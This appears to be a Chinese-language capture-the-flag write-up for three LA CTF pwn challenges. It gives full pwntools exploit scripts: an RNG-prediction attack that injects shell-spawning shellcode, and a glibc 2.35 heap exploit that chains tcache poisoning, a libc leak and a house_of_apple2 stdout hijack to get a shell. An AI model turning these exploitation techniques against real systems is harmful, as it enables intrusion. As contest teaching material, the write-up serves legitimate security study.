tic-tac-no

IDA

main

这是什么鸭

井字棋

playerMove

这是什么鸭

数组越界写

checkWin

这是什么鸭

相同字符就胜利

bss

这是什么鸭

越界写把电脑的棋子变成自己的就行了,脚本都不用写

ScrabASM

IDA

main

这是什么鸭

swap_tile

这是什么鸭

play

这是什么鸭

其实就是执行随机生成的 shellcode ,但可以更换任意字节为随机字节

攻击思路

由于 srand 以时间作种子,可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数,进而控制 shellcode

且由于只有 15 字节的空间,我们可以先执行 read shellcode 再自行写入提权 shellcode

这是什么鸭

(这张图片用了队友 ItsFlicker 的,懒得自己再截了)

1
2
3
4
5
6
7
8
9
10
add al,  0xd
push rax
pop rsi
xor edi, edi
push rdi
pop rax
mov dl, 0xf0
syscall

{ 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 }

exp

c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
int t = time(0);
srand(t + 2);
FILE *fp = fopen("./beyond.txt", "w");
if (fp == NULL) {
printf("failed");
}
for (int i = 1; i <= 1000; i++) {
fprintf(fp, "%02x ", rand() % 0x100);
}
fclose(fp);
srand(t);
fp = fopen("./present.txt", "w");
if (fp == NULL) {
printf("failed");
}
for (int i = 1; i <= 1000; i++) {
fprintf(fp, "%02x ", rand() % 0x100);
}
fclose(fp);
srand(t + 1);
fp = fopen("./future.txt", "w");
if (fp == NULL) {
printf("failed");
}
for (int i = 1; i <= 1000; i++) {
fprintf(fp, "%02x ", rand() % 0x100);
}
fclose(fp);
return 0;
}

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
io = process('./chall')
else:
io = remote('chall.lac.tf', 31338)

nowrd = []
prsrd = []
ftrrd = []
bydrd = []
tag = ''
nowstep = [0] * 14
rout = []
fag = [0] * 14
sc = ['04', '0d', '50', '5e', '48', '31', 'ff', '57', '58', 'b2', 'f0', '0f', '05']

def rdbt():
global nowrd
io.recvuntil(b'Your starting tiles:')
for i in range(14):
io.recvuntil(b'| ')
nowrd.append(io.recv(2).decode('utf-8'))

def prsbt():
global prsrd
with open('present.txt', 'r', encoding = 'utf-8') as f:
prsrd = f.read().split()

def ftrbt():
global ftrrd
with open('future.txt', 'r', encoding = 'utf-8') as f:
ftrrd = f.read().split()

def bydbt():
global bydrd
with open('beyond.txt', 'r', encoding = 'utf-8') as f:
bydrd = f.read().split()

def randswap():
prepos = 13
for nowpos in range(14, 1000):
flag = 0
op = 0
for i in range(len(sc)):
if sc[i] == nowrd[nowpos] and fag[i] == 0:
flag = i
fag[i] = 1
op = 1
break
if op == 1:
nowstep[flag] = nowpos - prepos
prepos = nowpos
rout.append(flag)
if len(rout) == 14:
break

def swapidx(idx):
io.sendline(b'1')
io.sendline(str(idx).encode())

def attack():
global rout
global nowstep
global nowrd
global tag
rdbt()
prsbt()
ftrbt()
bydbt()
flag = 7
for i in range(len(nowrd)):
if nowrd[i] != prsrd[i]:
flag = flag & 0b110
if nowrd[i] != ftrrd[i]:
flag = flag & 0b101
if nowrd[i] != bydrd[i]:
flag = flag & 0b011
if flag == 1:
tag = 'prs'
nowrd = prsrd
elif flag == 2:
tag = 'prs'
nowrd = ftrrd
elif flag == 4:
tag = 'prs'
nowrd = bydrd
print(tag)
randswap()
for i in rout:
for _ in range(nowstep[i]):
swapidx(i)
io.sendlineafter(b'> ', b'2')
mysc = shellcraft.sh()
io.send(asm(mysc))
io.interactive()

attack()

tcademy

checksec

这是什么鸭

保护全开

IDA

main

这是什么鸭

菜单题

这是什么鸭

create_note

这是什么鸭

只有两个槽位

delete_note

这是什么鸭

这是什么鸭

puts 可以通过溢出泄露一些内容

get_note_index

这是什么鸭

read_data_into_note

这是什么鸭

此处有由整数溢出造成的堆溢出漏洞

攻击思路

glibc 版本为 2.35 ,是高版本,有 PIE 保护,没有 hook 函数可以劫持

所以考虑劫持某个 _IO_FILE 结构体用来 getshell ,在此之前应先 leak libc

可以通过 tcache poisoning 去把一个 chunk 放入 unsortedbin 中来实现 libc leak

在高版本 libc 中, tcache 劫持的要求会更加严格

首先是 safe-linking 机制,这需要还原泄露出的 next 指针,并且 key 的生成不再与堆地址相关,改为和 canary 类似的随机 8 字节数据

然后是分配 tcache 时的判断,决定 tcache 是否分配的标准由 entry 是否为空变为 counts 是否为 0 ,不能再简单粗暴地劫持 tcache_pthread_struct 就完事了

对于这道题目而言,更加棘手的是同时持有的 chunk 槽位只有两个,而想要通过 tcache poisoning 把目标地址写的权限拿到手至少需要持有两个该 tcache 的 chunk ,这需要我们修改 counts ,而在能够修改 counts 之前的 tcache_pthread_struct 劫持步骤,我们必须预先申请两个相同大小的 chunk 再放入 tcache

而且还要注意不要破坏掉 size ,破坏了也要修复,不然 delete 的时候有你好受

在进行 unsortedbin 布置时我们采用了堆溢出修改 size 结合 counts 篡改的方式,这样可以在持有该 chunk 的情形下将其定位到 unsortedbin ,事后直接 free 即可,非常方便

还要注意一个小细节: tcache_pthread_struct 会被劫持也会被释放,这样的话前面的一些 counts 会变得比较奇怪,而且用于劫持 tcache_pthread_struct 的那个 tcache 会废掉,需要更换 size 做接下来的步骤

最后劫持 IO_2_1_stdout 打 house_of_apple2 即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 102

if debug:
io = process('./chall_patched')
else:
io = remote('chall.lac.tf', 31144)

libc = ELF('./libc.so.6')

def create(index, size, content):
io.sendlineafter(b'Choice > ', b'1')
io.sendlineafter(b'Index: ', str(index).encode())
io.sendlineafter(b'Size: ', str(size).encode())
io.sendafter(b'Data: ', content)

def delete(index):
io.sendlineafter(b'Choice > ', b'2')
io.sendlineafter(b'Index: ', str(index).encode())

def printnote(index):
io.sendlineafter(b'Choice > ', b'3')
io.sendlineafter(b'Index: ', str(index).encode())

def calcnext(ptr, pos):
return (ptr // 0x1000) ^ pos

def attack():
msize = 0x7
nsize = 0xf8
osize = 0xe8

create(0, msize, b'\n') # build arch
create(1, nsize, b'\n')
delete(0)
delete(1)

payload = b'A' * (0x20 - 1) + b'B' # leak heap
create(0, msize, payload)
printnote(0)
io.recvuntil(b'AB')
heap = u64(io.recv(5).ljust(8, b'\x00')) * 0x1000
log.info(f'heap = {hex(heap)}')
delete(0)

payload = b'A' * 0x18 + p64(0x101) # fix up
create(0, msize, payload)
delete(0)
create(0, nsize, b'\n')
create(1, nsize, b'\n')
delete(1)
delete(0)

toentry = calcnext(heap + 0x2c0, heap + 0x10) # tcache_pthread_struct hijack
payload = b'A' * 0x18 + p64(0x91) + p64(toentry).ljust(0x80, b'\x00') + p64(0x90) + p64(0x71)
create(0, msize, payload)
delete(0)
create(0, nsize, '\n')
payload = (p16(1) + p16(0) * 6 + p16(8)).ljust(0x80, b'\x00')
create(1, nsize, payload)

delete(0) # into unsortedbin
payload = b'A' * (0x20 - 1) + b'B'
create(0, msize, payload)
printnote(0)
io.recvuntil(b'AB')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
log.info(f'libc = {hex(libc.address)}')
delete(0)

payload = b'A' * 0x18 + p64(0x91) # fix up
create(0, msize, payload)
delete(0)
delete(1)
create(0, osize, b'\n')
create(1, osize, b'\n')
delete(1)
delete(0)

stdout = libc.sym['_IO_2_1_stdout_'] # stdout hijack
payload = b'A' * 0x18 + p64(0x101) + p64(0) * 31 + p64(0x101) + p64(0) * 31 + p64(0xf1) + p64(calcnext(heap + 0x4c0, stdout))
create(0, msize, payload)
delete(0)
create(0, osize, '\n')
fake_io = flat({
0x0: b" sh;",
0x28: libc.sym['system'],
0x88: heap,
0xA0: stdout - 0x40,
0xD8: libc.sym['_IO_wfile_jumps'] - 0x20
},
filler=b"\x00"
)
log.info(f'stdout = {hex(stdout)}')
create(1, osize, fake_io)
io.interactive()

attack()